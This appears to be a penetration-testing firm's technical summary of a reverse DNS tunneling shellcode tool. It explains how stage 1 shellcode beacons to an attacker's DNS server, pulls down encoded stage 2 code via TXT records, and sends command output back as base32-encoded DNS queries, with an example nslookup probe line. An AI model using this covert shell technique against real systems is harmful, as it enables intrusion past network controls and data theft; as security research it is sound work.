Reverse DNS Tunneling Shellcode Technical Information

Reverse DNS Tunneling Shellcode technical summary:

Reverse DNS Tunneling Shellcode consists of the following components;

Reverse DNS Shellcode Server This custom DNS server is written in Perl and is designed to act as the interface between the penetration tester and the shellcode via automatic shellcode generation and DNS request and response handling. Currently this DNS server works great on Linux. Unfortunately, Perl on Windows has a different way of handling sockets and therefore it needs a little more work to get it working across both platforms.

Reverse DNS Shellcode Stage 1 Generator The stage 1 shellcode generator creates the shellcode to be injected into the exploit being used to compromise the remote system. This produces raw shellcode as well as Unicode encoded shellcode for easy insertion into web-based exploits. Currently this shellcode needs to be tuned manually via the assembler file to change the tester's domain; however, this will be resolved in the next release to allow dynamic shellcode generation via a command option.

Reverse DNS Tunneling Shellcode Communications Protocol:

The following points demonstrate the steps carried out to successfully gain a remote command prompt on a compromised machine tunneled over DNS;

	Attacker starts DNS Tunneling Shellcode Server The attacker is presented with a prompt to enter in an initial command. This command can be entered before the exploit has actually been sent to ensure that no DNS requests coming from the compromised host are wasted.
	Client-side exploit sent or downloaded to victim host The attacker then sends out their exploit to the victim containing the Reverse DNS Tunneling Shellcode that was generated by using the Reverse DNS Shellcode Stage 1 Generator program. Generally for client-side exploits this may be carried out via Phishing or Social Engineering attacks, malicious websites, Stored XSS vulnerabilities, or physical access to the systems.
	Exploit triggers shellcode If the exploit is successful, it will jump to the Stage 1 Reverse DNS Tunneling Shellcode.
	Stage1 shellcode probes attackers DNS server The stage 1 shellcode finds Kernel32.dll and GetProcAddress, creates pipes for Child STDIN and STDOUT to cmd.exe, creates a new child Process and executes; nslookup -q=TXT -timeout=9 BZG6YTF.0000-0000.0001.0001.domain.com This DNS TXT request probe is sent out via the internal DNS server, out through the external DNS relay, and ends up at the attacker's custom DNS server. At this stage the shellcode has managed to bypass all outbound security controls in order to connect back to the attacker.
	Custom DNS server receives the probe request The attacker now knows that the victim host has been exploited and is ready to run our command. Our custom DNS server now generates the stage 2 shellcode based on the command that was entered previously. This command is injected into a modified version of Windows Exec ASM code that is designed to run a single command on the system and also captures the command output. The modified WinExec ASM is compiled & the shellcode is extracted. The DNS protocol only supports ASCII characters, however, raw shellcode is highly likely to contain binary characters. The extracted shellcode is therefore alphanumerically encoded so that the shellcode is made up of only upper and lowercase letters and numbers. This alphanumeric shellcode is then formatted to fit within a DNS TXT response and sent back to the stage 1 shellcode running on the victim host.
	Stage1 shellcode receives DNS TXT response The stage 1 shellcode reads the DNS TXT response from the child STDOUT pipe. It then locates the beginning of the TXT section of the DNS response and strips the DNS formatting from the stage 2 alphanumeric shellcode.
	Stage 1 Shellcode calls the Stage 2 Shellcode At this stage, now that the DNS formatting has been stripped, the stage 1 shellcode is able to call the stage 2 shellcode that was just downloaded via the DNS TXT request. Once the stage 2 shellcode has been called it automatically decodes the shellcode back to its original raw shellcode. This raw shellcode is then executed which ultimately runs the attacker's command on the system and grabs the output via STDIN and STDOUT pipes. This output is then base32 encoded, split up and delimited to fit into DNS protocol restrictions, and then sent back to the attacker's custom DNS server via gethostbyname calls. These DNS requests are formatted as shown below; BASE32.ENCODED.DATA.numLoops-currentLoop.requestId.sessionId.domain.com BASE32.ENCODED.DATA.0005-0001.0022.0001.domain.com BASE32.ENCODED.DATA.0005-0002.0023.0001.domain.com BASE32.ENCODED.DATA.0005-0003.0024.0001.domain.com BASE32.ENCODED.DATA.0005-0004.0025.0001.domain.com BASE32.ENCODED.DATA.0005-0005.0026.0001.domain.com
	Reverse Shellcode DNS Server Reconstructs Output The custom DNS server then pieces these requests back together based on the numLoops and currentLoop sections of the request. The base32 encoded data is put back together, decoded, and then displayed to the attacker. The requestId section of the request continually increments to ensure that DNS caches to not interfere with the DNS requests.
	Success! At this stage the attacker has successfully compromised the system, tunneled a command to be executed on the system over DNS, executed the command and piped the output back over DNS where it was reconstructed, decoded and then displayed to the attacker. This process repeats continually allowing an ongoing interactive shell to the compromised system over DNS.

Business Services "Pure Hacking distinguish themselves by successfully communicating difficult technical concepts to all levels. They also followed through with their promise to continue support in explaining these concepts long after our contract finished." IT Manager - Production Systems, International Business Services Corporation